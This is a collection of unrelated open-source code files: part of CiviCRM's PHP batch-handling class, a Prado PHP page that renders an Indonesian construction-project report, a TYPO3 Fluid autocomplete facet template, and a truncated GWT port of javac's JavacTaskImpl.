'title' => ts('Export Batch'),
'url' => '#',
'extra' => 'rel="export"',
),
'reopen' => array(
'name' => ts('Re-open'),
'title' => ts('Re-open Batch'),
'url' => '#',
'extra' => 'rel="reopen"',
),
'delete' => array(
'name' => ts('Delete'),
'title' => ts('Delete Batch'),
'url' => '#',
'extra' => 'rel="delete"',
),
'download' => array(
'name' => ts('Download'),
'url' => 'civicrm/file',
'qs' => 'reset=1&id=%%fid%%&eid=%%eid%%',
'title' => ts('Download Batch'),
),
);
}
else {
$links = array(
CRM_Core_Action::COPY => array(
'name' => ts('Enter records'),
'url' => 'civicrm/batch/entry',
'qs' => 'id=%%id%%&reset=1',
'title' => ts('Batch Data Entry'),
),
CRM_Core_Action::UPDATE => array(
'name' => ts('Edit'),
'url' => 'civicrm/batch',
'qs' => 'action=update&id=%%id%%&reset=1',
'title' => ts('Edit Batch'),
),
CRM_Core_Action::DELETE => array(
'name' => ts('Delete'),
'url' => 'civicrm/batch',
'qs' => 'action=delete&id=%%id%%',
'title' => ts('Delete Batch'),
),
);
}
return $links;
}
/**
* Get batch list.
*
* @return array
* all batches excluding batches with data entry in progress
*/
public static function getBatches() {
$dataEntryStatusId = CRM_Core_OptionGroup::getValue('batch_status', 'Data Entry', 'name');
$query = "SELECT id, title
FROM civicrm_batch
WHERE item_count >= 1
AND status_id != {$dataEntryStatusId}
ORDER BY id DESC";
$batches = array();
$dao = CRM_Core_DAO::executeQuery($query);
while ($dao->fetch()) {
$batches[$dao->id] = $dao->title;
}
return $batches;
}
/**
* Calculate sum of all entries in a batch.
* Used to validate and update item_count and total when closing an accounting batch
*
* @param array $batchIds
* @return array
*/
public static function batchTotals($batchIds) {
$totals = array_fill_keys($batchIds, array('item_count' => 0, 'total' => 0));
if ($batchIds) {
$sql = "SELECT eb.batch_id, COUNT(tx.id) AS item_count, SUM(tx.total_amount) AS total
FROM civicrm_entity_batch eb
INNER JOIN civicrm_financial_trxn tx ON tx.id = eb.entity_id AND eb.entity_table = 'civicrm_financial_trxn'
WHERE eb.batch_id IN (" . implode(',', $batchIds) . ")
GROUP BY eb.batch_id";
$dao = CRM_Core_DAO::executeQuery($sql);
while ($dao->fetch()) {
$totals[$dao->batch_id] = (array) $dao;
}
$dao->free();
}
return $totals;
}
/**
* Format markup for comparing two totals.
*
* @param $actual
* calculated total
* @param $expected
* user-entered total
* @return array
*/
public static function displayTotals($actual, $expected) {
$class = 'actual-value';
if ($expected && $expected != $actual) {
$class .= ' crm-error';
}
$actualTitle = ts('Current Total');
$output = "<span class='$class' title='$actualTitle'>$actual</span>";
if ($expected) {
$expectedTitle = ts('Expected Total');
$output .= " / <span class='expected-value' title='$expectedTitle'>$expected</span>";
}
return $output;
}
/**
* Function for exporting financial accounts, currently we support CSV and IIF format
* @see http://wiki.civicrm.org/confluence/display/CRM/CiviAccounts+Specifications+-++Batches#CiviAccountsSpecifications-Batches-%C2%A0Overviewofimplementation
*
* @param array $batchIds
* Associated array of batch ids.
* @param string $exportFormat
* Export format.
*
* @return void
*
*/
public static function exportFinancialBatch($batchIds, $exportFormat) {
if (empty($batchIds)) {
CRM_Core_Error::fatal(ts('No batches were selected.'));
return;
}
if (empty($exportFormat)) {
CRM_Core_Error::fatal(ts('No export format selected.'));
return;
}
self::$_exportFormat = $exportFormat;
// Instantiate appropriate exporter based on user-selected format.
$exporterClass = "CRM_Financial_BAO_ExportFormat_" . self::$_exportFormat;
if (class_exists($exporterClass)) {
$exporter = new $exporterClass();
}
else {
CRM_Core_Error::fatal("Could not locate exporter: $exporterClass");
}
switch (self::$_exportFormat) {
case 'CSV':
foreach ($batchIds as $batchId) {
$export[$batchId] = $exporter->generateExportQuery($batchId);
}
$exporter->makeCSV($export);
break;
case 'IIF':
foreach ($batchIds as $batchId) {
$export[$batchId] = $exporter->generateExportQuery($batchId);
}
$exporter->makeIIF($export);
break;
}
}
/**
* @param array $batchIds
* @param $status
*/
public static function closeReOpen($batchIds = array(), $status) {
$batchStatus = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'status_id');
$params['status_id'] = CRM_Utils_Array::key($status, $batchStatus);
$session = CRM_Core_Session::singleton();
$params['modified_date'] = date('YmdHis');
$params['modified_id'] = $session->get('userID');
foreach ($batchIds as $key => $value) {
$params['id'] = $ids['batchID'] = $value;
self::create($params, $ids);
}
$url = CRM_Utils_System::url('civicrm/financial/financialbatches', "reset=1&batchStatus={$params['status_id']}");
CRM_Utils_System::redirect($url);
}
/**
* Retrieve financial items assigned for a batch.
*
* @param int $entityID
* @param array $returnValues
* @param bool $notPresent
* @param array $params
* @param bool $getCount
*
* @return CRM_Core_DAO
*/
public static function getBatchFinancialItems($entityID, $returnValues, $notPresent = NULL, $params = NULL, $getCount = FALSE) {
if (!$getCount) {
if (!empty($params['rowCount']) &&
$params['rowCount'] > 0
) {
$limit = " LIMIT {$params['offset']}, {$params['rowCount']} ";
}
}
// action is taken depending upon the mode
$select = 'civicrm_financial_trxn.id ';
if (!empty($returnValues)) {
$select .= " , " . implode(' , ', $returnValues);
}
$orderBy = " ORDER BY civicrm_financial_trxn.id";
if (!empty($params['sort'])) {
$orderBy = ' ORDER BY ' . CRM_Utils_Type::escape($params['sort'], 'String');
}
$from = "civicrm_financial_trxn
LEFT JOIN civicrm_entity_financial_trxn ON civicrm_entity_financial_trxn.financial_trxn_id = civicrm_financial_trxn.id
LEFT JOIN civicrm_entity_batch ON civicrm_entity_batch.entity_id = civicrm_financial_trxn.id
LEFT JOIN civicrm_contribution ON civicrm_contribution.id = civicrm_entity_financial_trxn.entity_id
LEFT JOIN civicrm_financial_type ON civicrm_financial_type.id = civicrm_contribution.financial_type_id
LEFT JOIN civicrm_contact contact_a ON contact_a.id = civicrm_contribution.contact_id
LEFT JOIN civicrm_contribution_soft ON civicrm_contribution_soft.contribution_id = civicrm_contribution.id
";
$searchFields = array(
'sort_name',
'financial_type_id',
'contribution_page_id',
'payment_instrument_id',
'contribution_trxn_id',
'contribution_source',
'contribution_currency_type',
'contribution_pay_later',
'contribution_recurring',
'contribution_test',
'contribution_thankyou_date_is_not_null',
'contribution_receipt_date_is_not_null',
'contribution_pcp_made_through_id',
'contribution_pcp_display_in_roll',
'contribution_date_relative',
'contribution_amount_low',
'contribution_amount_high',
'contribution_in_honor_of',
'contact_tags',
'group',
'contribution_date_relative',
'contribution_date_high',
'contribution_date_low',
'contribution_check_number',
'contribution_status_id',
);
$values = array();
foreach ($searchFields as $field) {
if (isset($params[$field])) {
$values[$field] = $params[$field];
if ($field == 'sort_name') {
$from .= " LEFT JOIN civicrm_contact contact_b ON contact_b.id = civicrm_contribution.contact_id
LEFT JOIN civicrm_email ON contact_b.id = civicrm_email.contact_id";
}
if ($field == 'contribution_in_honor_of') {
$from .= " LEFT JOIN civicrm_contact contact_b ON contact_b.id = civicrm_contribution.contact_id";
}
if ($field == 'contact_tags') {
$from .= " LEFT JOIN civicrm_entity_tag `civicrm_entity_tag-{$params[$field]}` ON `civicrm_entity_tag-{$params[$field]}`.entity_id = contact_a.id";
}
if ($field == 'group') {
$from .= " LEFT JOIN civicrm_group_contact `civicrm_group_contact-{$params[$field]}` ON contact_a.id = `civicrm_group_contact-{$params[$field]}`.contact_id ";
}
if ($field == 'contribution_date_relative') {
$relativeDate = explode('.', $params[$field]);
$date = CRM_Utils_Date::relativeToAbsolute($relativeDate[0], $relativeDate[1]);
$values['contribution_date_low'] = $date['from'];
$values['contribution_date_high'] = $date['to'];
}
$searchParams = CRM_Contact_BAO_Query::convertFormValues($values);
$query = new CRM_Contact_BAO_Query($searchParams,
CRM_Contribute_BAO_Query::defaultReturnProperties(CRM_Contact_BAO_Query::MODE_CONTRIBUTE,
FALSE
), NULL, FALSE, FALSE, CRM_Contact_BAO_Query::MODE_CONTRIBUTE
);
if ($field == 'contribution_date_high' || $field == 'contribution_date_low') {
$query->dateQueryBuilder($params[$field], 'civicrm_contribution', 'contribution_date', 'receive_date', 'Contribution Date');
}
}
}
if (!empty($query->_where[0])) {
$where = implode(' AND ', $query->_where[0]) .
" AND civicrm_entity_batch.batch_id IS NULL
AND civicrm_entity_financial_trxn.entity_table = 'civicrm_contribution'";
$where = str_replace('civicrm_contribution.payment_instrument_id', 'civicrm_financial_trxn.payment_instrument_id', $where);
$searchValue = TRUE;
}
else {
$searchValue = FALSE;
}
if (!$searchValue) {
if (!$notPresent) {
$where = " ( civicrm_entity_batch.batch_id = {$entityID}
AND civicrm_entity_batch.entity_table = 'civicrm_financial_trxn'
AND civicrm_entity_financial_trxn.entity_table = 'civicrm_contribution') ";
}
else {
$where = " ( civicrm_entity_batch.batch_id IS NULL
AND civicrm_entity_financial_trxn.entity_table = 'civicrm_contribution')";
}
}
$sql = "
SELECT {$select}
FROM {$from}
WHERE {$where}
{$orderBy}
";
if (isset($limit)) {
$sql .= "{$limit}";
}
$result = CRM_Core_DAO::executeQuery($sql);
return $result;
}
/**
* Get batch names.
* @param string $batchIds
*
* @return array
* array of batches
*/
public static function getBatchNames($batchIds) {
$query = 'SELECT id, title
FROM civicrm_batch
WHERE id IN (' . $batchIds . ')';
$batches = array();
$dao = CRM_Core_DAO::executeQuery($query);
while ($dao->fetch()) {
$batches[$dao->id] = $dao->title;
}
return $batches;
}
/**
* Function get batch statuses.
*
* @param string $batchIds
*
* @return array
* array of batches
*/
public static function getBatchStatuses($batchIds) {
$query = 'SELECT id, status_id
FROM civicrm_batch
WHERE id IN (' . $batchIds . ')';
$batches = array();
$dao = CRM_Core_DAO::executeQuery($query);
while ($dao->fetch()) {
$batches[$dao->id] = $dao->status_id;
}
return $batches;
}
}
|
acappellamaniac/eva_website
|
sites/all/modules/civicrm/CRM/Batch/BAO/Batch.php
|
PHP
|
gpl-2.0
| 27,126
|
<?php
prado::using ('Application.pages.m.report.MainPageReports');
class JenisPembangunan extends MainPageReports {
public function onLoad ($param) {
parent::onLoad ($param);
$this->showJenisPembangunan=true;
$this->createObjKegiatan();
$this->createObjFinance();
if (!$this->IsPostBack&&!$this->IsCallback) {
if (isset($this->session['currentPageReportJenisPembangunan']['dataKegiatan']['idjenis_pembangunan'])) {
$this->idProcess='view';
$this->initialization ();
$this->toolbarOptionsBulanRealisasi->Enabled=false;
$this->toolbarOptionsTahunAnggaran->Enabled=false;
}else {
if (!isset($_SESSION['currentPageReportJenisPembangunan'])||$_SESSION['currentPageReportJenisPembangunan']['page_name']!='m.report.JenisPembangunan') {
$_SESSION['currentPageReportJenisPembangunan']=array('page_name'=>'m.report.JenisPembangunan','page_num'=>0,'dataKegiatan'=>array());
}
$this->populateData ();
$this->toolbarOptionsTahunAnggaran->DataSource=$this->TGL->getYear();
$this->toolbarOptionsTahunAnggaran->Text=$this->session['ta'];
$this->toolbarOptionsTahunAnggaran->dataBind();
$this->toolbarOptionsBulanRealisasi->Enabled=false;
}
}
}
public function changeTahunAnggaran ($sender,$param) {
$this->idProcess='view';
$_SESSION['ta']=$this->toolbarOptionsTahunAnggaran->Text;
$this->populateData();
}
protected function populateData () {
$ta=$this->session['ta'];
$str = "SELECT idjenis_pembangunan,nama_jenis FROM jenispembangunan ORDER BY nama_jenis ASC";
$this->DB->setFieldTable(array('idjenis_pembangunan','nama_jenis'));
$r=$this->DB->getRecord($str);
$result=array();
while (list($k,$v)=each($r)) {
$idjenis_pembangunan=$v['idjenis_pembangunan'];
$v['jumlah_uraian']=$this->DB->getCountRowsOfTable ("uraian u,proyek p WHERE p.idproyek=u.idproyek AND tahun_anggaran=$ta AND idjenis_pembangunan=$idjenis_pembangunan AND status_lelang=1",'idjenis_pembangunan');
$result[$k]=$v;
}
$this->RepeaterS->DataSource=$result;
$this->RepeaterS->dataBind();
}
public function viewRecord ($sender,$param) {
$id=$this->getDataKeyField($sender,$this->RepeaterS);
$r = $this->kegiatan->getList("jenispembangunan WHERE idjenis_pembangunan=$id",array('idjenis_pembangunan','nama_jenis'));
$_SESSION['currentPageReportJenisPembangunan']['dataKegiatan']=$r[1];
$this->redirect('m.report.JenisPembangunan');
}
private function initialization () {
$nama_jenis=$_SESSION['currentPageReportJenisPembangunan']['dataKegiatan']['nama_jenis'];
$this->labelJP->Text="Berdasarkan Jenis Pelaksanaan secara $nama_jenis";
$this->populateJP();
}
public function closeView ($sender,$param) {
unset($_SESSION['currentPageReportJenisPembangunan']);
$this->redirect('m.report.JenisPembangunan');
}
private function populateJP() {
$idjenis_pembangunan=$this->session['currentPageReportJenisPembangunan']['dataKegiatan']['idjenis_pembangunan'];
$tahun=$this->session['ta'];
$str = "SELECT u.iduraian,p.nama_proyek ,p.nilai_pagu, u.nama_uraian,u.nilai AS nilai_uraian,hps,penawaran,tgl_kontrak,tgl_mulai_pelaksanaan,tgl_selesai_pelaksanaan,CONCAT (u.nama_perusahaan,' (',u.nama_direktur,') ') AS penyedia,u.npwp,u.alamat_perusahaan,p.sumber_anggaran,u.idlok,u.ket_lok FROM proyek p,uraian u WHERE u.idproyek=p.idproyek AND p.tahun_anggaran=$tahun AND u.idjenis_pembangunan=$idjenis_pembangunan AND status_lelang=1";
$this->DB->setFieldTable(array('iduraian','nama_proyek','nama_uraian','nilai_pagu','nilai_uraian','hps','penawaran','tgl_kontrak','tgl_mulai_pelaksanaan','tgl_selesai_pelaksanaan','penyedia','npwp','alamat_perusahaan','sumber_anggaran','idlok','ket_lok'));
$result = $this->DB->getRecord($str);
if (isset($result[1])) {
$content = '<table class="list" style="font-size:9px">';
$content.= '<thead>';
$content.= '<tr>';
$content.= '<th width="10" class="center">NO</th>';
$content.= '<th width="300" class="center">PROGRAM / KEGIATAN</th>';
$content.= '<th class="center">LOKASI</th>';
$content.= '<th class="center">PAGU DANA</th>';
$content.= '<th class="center">HPS (Rp.)</th>';
$content.= '<th class="center">NILAI KONTRAK</th>';
$content.= '<th class="center">SELISIH</th>';
$content.= '<th class="center">TANGGAL KONTRAK</th>';
$content.= '<th class="center">TANGGAL PELAKSANAAN</th>';
$content.= '<th class="center">NAMA &<br />DIREKTUR <br />PELAKSANA/PENYEDIA</th>';
$content.= '<th class="center">NPWP</th>';
$content.= '<th class="center">ALAMAT PENYEDIA</th>';
$content.= '<th class="center">SUMBER ANGGARAN</th>';
$content.= '</tr>';
$content.= '<tr>';
$content.= '<th class="center">1</th>';
$content.= '<th class="center">2</th>';
$content.= '<th class="center">4</th>';
$content.= '<th class="center">5</th>';
$content.= '<th class="center">6</th>';
$content.= '<th class="center">7</th>';
$content.= '<th class="center">8</th>';
$content.= '<th class="center">9</th>';
$content.= '<th class="center">10</th>';
$content.= '<th class="center">11</th>';
$content.= '<th class="center">12</th>';
$content.= '<th class="center">13</th>';
$content.= '<th class="center">14</th>';
$content.= '</tr>';
$content.= '</thead><tbody>';
$totalPaguDana=0;
$totalNilaiKontrak=0;
$totalNilaiSelisih=0;
$totalHPS=0;
while (list($k,$v)=each($result)) {
$tempat=$this->kegiatan->getLokasiProyek(null,'lokasi',$v['idlok'],$v['ket_lok']);
$nilai_pagu=$v['nilai_pagu'];
$rp_nilai_pagu=$this->finance->toRupiah($nilai_pagu,'tanpa_rp');
$hps=$v['hps'];
$rp_nilai_hps=$this->finance->toRupiah($hps,'tanpa_rp');
$nilai_kontrak=$v['penawaran'];
$rp_nilai_kontrak=$this->finance->toRupiah($nilai_kontrak,'tanpa_rp');
$selisih=$nilai_pagu-$nilai_kontrak;
$rp_nilai_selisih=$this->finance->toRupiah($selisih,'tanpa_rp');
$tanggal_kontrak=$this->TGL->tanggal('d F Y',$v['tgl_kontrak']);
$waktupelaksanaan=$this->TGL->tanggal('d F Y',$v['tgl_mulai_pelaksanaan']). ' s.d '.$this->TGL->tanggal('d F Y',$v['tgl_selesai_pelaksanaan']);
$content.= '<tr>
<td class="center">'.$v['no'].'</td>
<td class="left">'.$v['nama_uraian'].' <br /><strong>('.$v['nama_proyek'].')</strong></td>
<td class="left">'.$tempat.'</td>
<td class="right">'.$rp_nilai_pagu.'</td>
<td class="right">'.$rp_nilai_hps.'</td>
<td class="right">'.$rp_nilai_kontrak.'</td>
<td class="right">'.$rp_nilai_selisih.'</td>
<td class="left">'.$tanggal_kontrak.'</td>
<td class="left">'.$waktupelaksanaan.'</td>
<td class="left">'.$v['penyedia'].'</td>
<td class="left">'.$v['npwp'].'</td>
<td class="left">'.$v['alamat_perusahaan'].'</td>
<td class="center">'.$v['sumber_anggaran'].'</td>
</tr>';
$totalPaguDana+=$nilai_pagu;
$totalNilaiKontrak+=$nilai_kontrak;
$totalNilaiSelisih+=$selisih;
$totalHPS+=$hps;
}
$rp_nilai_pagu=$this->finance->toRupiah($totalPaguDana,'tanpa_rp');
$rp_nilai_kontrak=$this->finance->toRupiah($totalNilaiKontrak,'tanpa_rp');
$rp_nilai_selisih=$this->finance->toRupiah($totalNilaiSelisih,'tanpa_rp');
$rp_totalHPS=$this->finance->toRupiah($totalHPS,'tanpa_rp');
$content.= '<tr>
<td class="center" colspan="3">Jumlah Total</td>
<td class="right">'.$rp_nilai_pagu.'</td>
<td class="right">'.$rp_totalHPS.'</td>
<td class="right">'.$rp_nilai_kontrak.'</td>
<td class="right">'.$rp_nilai_selisih.'</td>
<td class="left"></td>
<td class="left"></td>
<td class="left"></td>
<td class="left"></td>
<td class="center"></td>
<td class="left"></td>
</tr>';
$content.= '</tbody></table>';
}else {
$content="<p class=\"msg info\">
Belum ada kegiatan berdasarkan jenis kegiatan tersebut diatas pada tahun anggaran $tahun.</p>";
}
$this->contentReport->Text=$content;
}
public function printOut ($sender,$param) {
$this->idProcess='view';
$this->createObjReport();
$this->report->dataKegiatan=$_SESSION['currentPageReportJenisPembangunan']['dataKegiatan'];
$this->report->dataKegiatan['tahun']=$_SESSION['ta'];
$this->report->dataKegiatan['nama_jenis']=$this->kegiatan->getJenisPembangunan($this->report->dataKegiatan['idjenis_pembangunan']);
$filetype=$this->cmbTipePrintOut->Text;
switch($filetype) {
case 'excel2003' :
$this->report->setMode('excel2003');
$this->report->printJenisPembangunan($this->linkOutput);
break;
case 'excel2007' :
$this->report->setMode('excel2007');
$this->report->printJenisPembangunan($this->linkOutput);
break;
}
}
}
?>
|
ibnoe/simonev
|
protected/pages/m/report/JenisPembangunan.php
|
PHP
|
gpl-2.0
| 11,218
|
{namespace s=Subugoe\Find\ViewHelpers}
<f:comment>
Uses the facet items to create a popup menu with an autocomplete field
to let the user easily find a specific item in the facet and use it as
a filter.
You need to configure your page to load the required JavaScript library
(jQuery.chosen) to make it work. See the Readme for details.
</f:comment>
<s:page.linkCSS file="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.6.2/chosen.css"/>
<s:page.script name="chosen" file="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.6.2/chosen.jquery.min.js"/>
<f:alias map="{translateArguments:'{0:\"{f:translate(key:\'LLL:{settings.languageRootPath}locallang-facets.xml:facet.{facetInfo.id}\', default:facetInfo.id)}\"}'}">
<form>
<f:form.select
options="{s:find.selectOptionsForFacet(
values:facetData.values,
leadingBlank:1,
sortByName:1,
sortPrefixSeparator:facetInfo.sortPrefixSeparator,
localisationPrefix:'LLL:{settings.languageRootPath}locallang-facets.xml:facet.{facetInfo.id}.'
)}"
class="facetSearch"
additionalAttributes="{data-placeholder:'{f:translate(key:\"Filter by %s\", arguments:translateArguments)}'}"/>
</form>
</f:alias>
|
subugoe/typo3-find
|
Resources/Private/Partials/Facets/Facet/List/Autocomplete.html
|
HTML
|
gpl-2.0
| 1,176
|
/**
* This file was changed in order to make it compilable
* with GWT and to integrate it in the JavaInTheBrowser
* project (http://javainthebrowser.appspot.com).
*
* Date: 2013-05-14
*/
/*
* Copyright (c) 2005, 2011, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package javac.com.sun.tools.javac.api;
import gwtjava.util.Locale;
import gwtjava.io.File;
import gwtjava.io.IOException;
import gwtjava.nio.CharBuffer;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Queue;
import java.util.Set;
import gwtjava.util.concurrent.atomic.AtomicBoolean;
import javac.com.sun.source.tree.CompilationUnitTree;
import javac.com.sun.source.tree.Tree;
import javac.com.sun.source.util.JavacTask;
import javac.com.sun.source.util.TaskListener;
import javac.com.sun.tools.javac.code.Symbol;
import javac.com.sun.tools.javac.code.Symbol.ClassSymbol;
import javac.com.sun.tools.javac.code.Type;
import javac.com.sun.tools.javac.comp.Attr;
import javac.com.sun.tools.javac.comp.AttrContext;
import javac.com.sun.tools.javac.comp.Env;
import javac.com.sun.tools.javac.file.JavacFileManager;
import javac.com.sun.tools.javac.main.CommandLine;
import javac.com.sun.tools.javac.main.JavaCompiler;
import javac.com.sun.tools.javac.main.Main;
import javac.com.sun.tools.javac.model.JavacElements;
import javac.com.sun.tools.javac.model.JavacTypes;
import javac.com.sun.tools.javac.parser.Parser;
import javac.com.sun.tools.javac.parser.ParserFactory;
import javac.com.sun.tools.javac.tree.JCTree;
import javac.com.sun.tools.javac.tree.JCTree.JCClassDecl;
import javac.com.sun.tools.javac.tree.JCTree.JCCompilationUnit;
import javac.com.sun.tools.javac.tree.TreeInfo;
import javac.com.sun.tools.javac.util.Context;
import javac.com.sun.tools.javac.util.List;
import javac.com.sun.tools.javac.util.ListBuffer;
import javac.com.sun.tools.javac.util.Options;
import javac.javax.annotation.processing.Processor;
import javac.javax.lang.model.element.Element;
import javac.javax.lang.model.element.TypeElement;
import javac.javax.lang.model.type.TypeMirror;
import javac.javax.tools.JavaFileManager;
import javac.javax.tools.JavaFileObject;
/**
* Provides access to functionality specific to the JDK Java Compiler, javac.
*
* <p><b>This is NOT part of any supported API.
* If you write code that depends on this, you do so at your own
* risk. This code and its internal interfaces are subject to change
* or deletion without notice.</b></p>
*
* @author Peter von der Ahé
* @author Jonathan Gibbons
*/
public class JavacTaskImpl extends JavacTask {
private ClientCodeWrapper ccw;
private Main compilerMain;
private JavaCompiler compiler;
private Locale locale;
private String[] args;
private Context context;
private List<JavaFileObject> fileObjects;
private Map<JavaFileObject, JCCompilationUnit> notYetEntered;
private ListBuffer<Env<AttrContext>> genList;
private TaskListener taskListener;
private AtomicBoolean used = new AtomicBoolean();
private Iterable<? extends Processor> processors;
private Integer result = null;
JavacTaskImpl(Main compilerMain,
String[] args,
Context context,
List<JavaFileObject> fileObjects) {
this.ccw = ClientCodeWrapper.instance(context);
this.compilerMain = compilerMain;
this.args = args;
this.context = context;
this.fileObjects = fileObjects;
setLocale(Locale.getDefault());
// null checks
compilerMain.getClass();
args.getClass();
fileObjects.getClass();
}
JavacTaskImpl(Main compilerMain,
Iterable<String> flags,
Context context,
Iterable<String> classes,
Iterable<? extends JavaFileObject> fileObjects) {
this(compilerMain, toArray(flags, classes), context, toList(fileObjects));
}
static private String[] toArray(Iterable<String> flags, Iterable<String> classes) {
ListBuffer<String> result = new ListBuffer<String>();
if (flags != null)
for (String flag : flags)
result.append(flag);
if (classes != null)
for (String cls : classes)
result.append(cls);
return result.toArray(new String[result.length()]);
}
static private List<JavaFileObject> toList(Iterable<? extends JavaFileObject> fileObjects) {
if (fileObjects == null)
return List.nil();
ListBuffer<JavaFileObject> result = new ListBuffer<JavaFileObject>();
for (JavaFileObject fo : fileObjects)
result.append(fo);
return result.toList();
}
public Boolean call() {
if (!used.getAndSet(true)) {
initContext();
notYetEntered = new HashMap<JavaFileObject, JCCompilationUnit>();
compilerMain.setAPIMode(true);
result = compilerMain.compile(args, context, fileObjects, processors);
cleanup();
return result == 0;
} else {
throw new IllegalStateException("multiple calls to method 'call'");
}
}
public void setProcessors(Iterable<? extends Processor> processors) {
processors.getClass(); // null check
// not mt-safe
if (used.get())
throw new IllegalStateException();
this.processors = processors;
}
public void setLocale(Locale locale) {
if (used.get())
throw new IllegalStateException();
this.locale = locale;
}
private void prepareCompiler() throws IOException {
if (used.getAndSet(true)) {
if (compiler == null)
throw new IllegalStateException();
} else {
initContext();
compilerMain.setOptions(Options.instance(context));
compilerMain.filenames = new ListBuffer<File>();
List<File> filenames = compilerMain.processArgs(CommandLine.parse(args));
if (!filenames.isEmpty())
throw new IllegalArgumentException("Malformed arguments " + filenames.toString(" "));
compiler = JavaCompiler.instance(context);
compiler.keepComments = true;
compiler.genEndPos = true;
// NOTE: this value will be updated after annotation processing
compiler.initProcessAnnotations(processors);
notYetEntered = new HashMap<JavaFileObject, JCCompilationUnit>();
for (JavaFileObject file: fileObjects)
notYetEntered.put(file, null);
genList = new ListBuffer<Env<AttrContext>>();
// endContext will be called when all classes have been generated
// TODO: should handle the case after each phase if errors have occurred
args = null;
}
}
private void initContext() {
context.put(JavacTaskImpl.class, this);
if (context.get(TaskListener.class) != null)
context.put(TaskListener.class, (TaskListener)null);
if (taskListener != null)
context.put(TaskListener.class, ccw.wrap(taskListener));
//initialize compiler's default locale
context.put(Locale.class, locale);
}
void cleanup() {
if (compiler != null)
compiler.close();
compiler = null;
compilerMain = null;
args = null;
context = null;
fileObjects = null;
notYetEntered = null;
}
/**
* Construct a JavaFileObject from the given file.
*
* <p><b>TODO: this method is useless here</b></p>
*
* @param file a file
* @return a JavaFileObject from the standard file manager.
*/
public JavaFileObject asJavaFileObject(File file) {
JavacFileManager fm = (JavacFileManager)context.get(JavaFileManager.class);
return fm.getRegularFile(file);
}
public void setTaskListener(TaskListener taskListener) {
this.taskListener = taskListener;
}
/**
* Parse the specified files returning a list of abstract syntax trees.
*
* @throws gwtjava.io.IOException TODO
* @return a list of abstract syntax trees
*/
public Iterable<? extends CompilationUnitTree> parse() throws IOException {
try {
prepareCompiler();
List<JCCompilationUnit> units = compiler.parseFiles(fileObjects);
for (JCCompilationUnit unit: units) {
JavaFileObject file = unit.getSourceFile();
if (notYetEntered.containsKey(file))
notYetEntered.put(file, unit);
}
return units;
}
finally {
parsed = true;
if (compiler != null && compiler.log != null)
compiler.log.flush();
}
}
private boolean parsed = false;
/**
* Translate all the abstract syntax trees to elements.
*
* @throws IOException TODO
* @return a list of elements corresponding to the top level
* classes in the abstract syntax trees
*/
public Iterable<? extends TypeElement> enter() throws IOException {
return enter(null);
}
/**
* Translate the given abstract syntax trees to elements.
*
* @param trees a list of abstract syntax trees.
* @throws gwtjava.io.IOException TODO
* @return a list of elements corresponding to the top level
* classes in the abstract syntax trees
*/
public Iterable<? extends TypeElement> enter(Iterable<? extends CompilationUnitTree> trees)
throws IOException
{
prepareCompiler();
ListBuffer<JCCompilationUnit> roots = null;
if (trees == null) {
// If there are still files which were specified to be compiled
// (i.e. in fileObjects) but which have not yet been entered,
// then we make sure they have been parsed and add them to the
// list to be entered.
if (notYetEntered.size() > 0) {
if (!parsed)
parse(); // TODO would be nice to specify files needed to be parsed
for (JavaFileObject file: fileObjects) {
JCCompilationUnit unit = notYetEntered.remove(file);
if (unit != null) {
if (roots == null)
roots = new ListBuffer<JCCompilationUnit>();
roots.append(unit);
}
}
notYetEntered.clear();
}
}
else {
for (CompilationUnitTree cu : trees) {
if (cu instanceof JCCompilationUnit) {
if (roots == null)
roots = new ListBuffer<JCCompilationUnit>();
roots.append((JCCompilationUnit)cu);
notYetEntered.remove(cu.getSourceFile());
}
else
throw new IllegalArgumentException(cu.toString());
}
}
if (roots == null)
return List.nil();
try {
List<JCCompilationUnit> units = compiler.enterTrees(roots.toList());
if (notYetEntered.isEmpty())
compiler = compiler.processAnnotations(units);
ListBuffer<TypeElement> elements = new ListBuffer<TypeElement>();
for (JCCompilationUnit unit : units) {
for (JCTree node : unit.defs) {
if (node.getTag() == JCTree.CLASSDEF) {
JCClassDecl cdef = (JCClassDecl) node;
if (cdef.sym != null) // maybe null if errors in anno processing
elements.append(cdef.sym);
}
}
}
return elements.toList();
}
finally {
compiler.log.flush();
}
}
/**
* Complete all analysis.
* @throws IOException TODO
*/
@Override
public Iterable<? extends Element> analyze() throws IOException {
return analyze(null);
}
/**
* Complete all analysis on the given classes.
* This can be used to ensure that all compile time errors are reported.
* The classes must have previously been returned from {@link #enter}.
* If null is specified, all outstanding classes will be analyzed.
*
* @param classes a list of class elements
*/
// This implementation requires that we open up privileges on JavaCompiler.
// An alternative implementation would be to move this code to JavaCompiler and
// wrap it here
public Iterable<? extends Element> analyze(Iterable<? extends TypeElement> classes) throws IOException {
enter(null); // ensure all classes have been entered
final ListBuffer<Element> results = new ListBuffer<Element>();
try {
if (classes == null) {
handleFlowResults(compiler.flow(compiler.attribute(compiler.todo)), results);
} else {
Filter f = new Filter() {
public void process(Env<AttrContext> env) {
handleFlowResults(compiler.flow(compiler.attribute(env)), results);
}
};
f.run(compiler.todo, classes);
}
} finally {
compiler.log.flush();
}
return results;
}
// where
private void handleFlowResults(Queue<Env<AttrContext>> queue, ListBuffer<Element> elems) {
for (Env<AttrContext> env: queue) {
switch (env.tree.getTag()) {
case JCTree.CLASSDEF:
JCClassDecl cdef = (JCClassDecl) env.tree;
if (cdef.sym != null)
elems.append(cdef.sym);
break;
case JCTree.TOPLEVEL:
